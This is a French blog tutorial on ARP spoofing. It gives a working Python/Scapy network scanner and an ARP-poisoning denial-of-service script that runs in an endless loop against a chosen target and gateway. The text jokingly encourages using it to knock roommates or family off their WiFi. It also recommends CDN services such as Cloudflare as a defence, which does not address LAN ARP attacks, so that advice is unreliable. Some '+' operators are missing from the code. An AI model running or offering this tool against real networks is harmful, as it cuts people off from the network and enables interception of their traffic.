Qu'est-ce que l'ARP (protocole de résolution d'adresse) ?

Le protocole ARP (Address Resolution Protocol) est un protocole crucial utilisé dans les réseaux locaux pour convertir les adresses IP en adresses physiques (adresses MAC).

Qu’est-ce qu’une attaque ARP ?

Une attaque ARP est une exploitation des vulnérabilités du protocole ARP. En envoyant de faux messages ARP, les attaquants peuvent lier leur adresse MAC à l'adresse IP de la victime, interceptant, modifiant ou interrompant les communications réseau.

Pourquoi l’attaque ARP est-elle la plus simple à mettre en œuvre ?

Les attaques ARP sont particulièrement faciles à mettre en œuvre car le protocole ARP ne dispose pas de fonctionnalités de sécurité inhérentes, ce qui en fait une cible privilégiée pour les attaquants réseau. L'usurpation d'identité ARP ou l'empoisonnement ARP est ainsi devenue une méthode d'attaque réseau courante et dangereuse.

Avec Python, vous pouvez compléter le code en moins de 100 lignes, et les effets sont assez importants : votre colocataire ou les membres de votre famille pourraient rapidement perdre leur connexion WiFi. Bien sûr, vous ne devriez pas tenter d’attaquer les autres au hasard, sauf peut-être vos bons amis.

Que peuvent faire les attaques ARP ?

1. Attaque par déni de service : vous pouvez perturber la connexion Wi-Fi de votre colocataire ou de votre famille via une attaque ARP. En faisant croire à l'ordinateur cible que l'attaquant est la passerelle, l'attaquant peut interrompre la communication entre l'ordinateur cible et la passerelle, empêchant ainsi l'ordinateur cible d'accéder aux ressources réseau.

2. Network Sniffing : les attaquants peuvent utiliser des attaques ARP pour capturer tous les paquets de communication sur le réseau, leur permettant ainsi d'analyser et d'extraire des informations sensibles.

3. falsification de données : grâce à une attaque de l'homme du milieu, les attaquants peuvent modifier le contenu des paquets de données, modifiant ainsi les données de communication.

Exemples réels

• Réseaux d'entreprise : les attaquants peuvent effectuer une usurpation d'ARP au sein du réseau interne d'une entreprise pour voler les informations de connexion des employés, le contenu des e-mails et d'autres informations sensibles.
• Wi-Fi public : dans des endroits comme les cafés et les aéroports, les attaquants peuvent utiliser l'usurpation d'identité ARP pour attaquer les utilisateurs connectés au même réseau Wi-Fi et voler leurs données privées.
• Réseaux domestiques : les attaquants peuvent effectuer une usurpation d'identité ARP sur les appareils du réseau domestique pour voler l'historique de navigation des utilisateurs, les informations de connexion, etc.

Comment fonctionnent les attaques ARP

1. ARP Spoofing : les attaquants envoient de faux messages de réponse ARP à d'autres appareils du réseau local, liant leur adresse MAC à l'adresse IP de l'appareil légitime. Par exemple, les attaquants peuvent lier leur adresse MAC à l'adresse IP de la passerelle, incitant ainsi tous les appareils du réseau local à envoyer des données à l'attaquant.

2. Attaque de l'homme du milieu : une fois l'usurpation d'identité ARP réussie, les attaquants peuvent se positionner entre la victime et la passerelle, interceptant et transmettant toutes les données de communication. Cela permet aux attaquants de voler des informations sensibles, telles que les identifiants de connexion et les informations de compte bancaire.

3. falsification de données : les attaquants peuvent non seulement intercepter les données, mais également les modifier avant de les transmettre à la victime ou à la passerelle, permettant ainsi de nouvelles attaques.

Implémentation de l'attaque ARP avec Python

Tout d'abord, nous allons implémenter une fonction d'analyse ARP de base. La mise en œuvre du sondage ARP est simple. Nous pouvons définir deux fonctions : l'une appelée generate_ip_range, qui prend une chaîne d'adresse IP et génère toutes les adresses d'hôte dans ce sous-réseau ; l'autre appelé arp_scan, qui envoie des paquets ARP. Nous pouvons utiliser la fonction ARP de Scapy pour construire des requêtes ARP et les envoyer à l'aide de srp, puis attendre les réponses.

from scapy.all import *
import argparse
import threading, time
import logging

# Generate the IP range, e.g., input: 192.168.1.1/20 generates addresses 1-20
def Parse_IP(targets):
    _split = targets.split('/')
    first_ip = _split[0]
    ip_split = first_ip.split('.')
    ipv4 = range(int(ip_split[3]), int(_split[1])   1)
    addr = [ip_split[0]   '.'   ip_split[1]   '.'   ip_split[2]   '.'   str(p) for p in ipv4]
    return addr

# Scan the local network for online devices using the ARP protocol
def ARP_Scan(address):
    try:
        ret = sr1(ARP(pdst=address), timeout=5, verbose=False)
        if ret:
            if ret.haslayer('ARP') and ret.fields['op'] == 2:
                print('[ ] IP address: %-13s ==> MAC address: %-15s' % (ret.fields['psrc'], ret.fields['hwsrc']))
    except Exception:
        exit(1)

if __name__ == "__main__":
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    parser = argparse.ArgumentParser()
    parser.add_argument("-s", "--scan", dest="scan")
    args = parser.parse_args()
    # Usage: main.py -s 192.168.1.1/100
    if args.scan:
        addr_list = Parse_IP(args.scan)
        for item in addr_list:
            threads = []
            t = threading.Thread(target=ARP_Scan, args=(item,))
            threads.append(t)
            t.start()
        for item in threads:
            item.join()
    else:
        parser.print_help()

Ensuite, nous apprendrons comment mettre en œuvre une attaque par déni de service ARP. Le cœur d'une attaque ARP DOS est la fonction send_payload. Chaque appel à cette fonction envoie deux paquets : le premier paquet prétend être la passerelle, trompant l'ordinateur cible en lui faisant croire que l'attaquant est la passerelle ; le deuxième paquet prétend être l'ordinateur cible, faisant croire à la passerelle que l'attaquant est l'ordinateur cible. En envoyant ces deux paquets dans plusieurs threads, l'ordinateur cible ne pourra pas se connecter au réseau, réalisant ainsi une attaque DOS.

"""
Disclaimer:

This code is intended for educational and experimental purposes only, to help users understand the ARP protocol and related network security concepts. Do not run this code on any actual network without explicit permission.

Unauthorized ARP attack activities are illegal and may result in network disruptions, data breaches, and other severe consequences. Users of this code must be responsible for their actions and comply with relevant laws and regulations.

The developers and publishers are not liable for any direct or indirect damages resulting from the use of this code. Please conduct experiments within the bounds of legal authority and ensure appropriate authorization.

Before running this code, please confirm that you have understood and accepted this disclaimer.
"""

from scapy.all import *
import argparse
import threading, time
import logging

# Create and send payloads
def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP):
    print("[ ] Target MAC: {} Target IP: {} Sending: 2 packets".format(tgtMac, tgtIP))
    # Generate ARP packet, pretending to be the gateway to deceive the target computer
    sendp(Ether(src=srcMac, dst=tgtMac) / ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2), iface=Interface)
    # Generate ARP packet, pretending to be the target computer to deceive the gateway
    sendp(Ether(src=srcMac, dst=gateWayMac) / ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2), iface=Interface)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-i", "--interface", dest="interface", help="Enter the interface name")
    parser.add_argument("-g", "--gateway", dest="gateway", help="Input Gateway Address")
    parser.add_argument("-t", "--target", dest="target", help="Enter the victim host address")
    args = parser.parse_args()

    # Usage: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10
    if args.gateway and args.target:
        srcMac = get_if_hwaddr(args.interface)  # Get the local MAC address through the interface name
        tgtMac = getmacbyip(args.target)  # Get the target computer's MAC address through its IP address
        gatewayMac = getmacbyip(args.gateway)  # Specify the gateway MAC address in the local network
        while True:
            t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target))
            t.start()
            t.join()
            time.sleep(1)
    else:
        parser.print_help()

Comment se protéger contre les attaques réseau quotidiennes

En tant que développeur indépendant, vous pourriez fréquemment rencontrer le défi de protéger votre site Web contre diverses attaques complexes, en particulier les plus simples.

Les attaques ARP, par exemple, sont très faciles à exécuter, le code d'attaque faisant moins de 100 lignes. Toutefois, les dégâts occasionnés peuvent être importants. Si les développeurs doivent se défendre en détail contre chaque type d’attaque, cela pourrait s’avérer une tâche écrasante, dépassant potentiellement la quantité de travail de développement.

Par conséquent, l’intégration de plateformes tierces est devenue une solution très courante. Des plateformes comme Edgeone et Cloudflare peuvent fournir des services de protection efficaces. Bien que ces services puissent nécessiter quelques dollars, ils réduisent considérablement la charge mentale par rapport à l'autodéfense.

Il s'agit d'un article que j'ai écrit sur les attaques réseau courantes et leurs solutions. Si vous êtes intéressé, n'hésitez pas à y jeter un œil.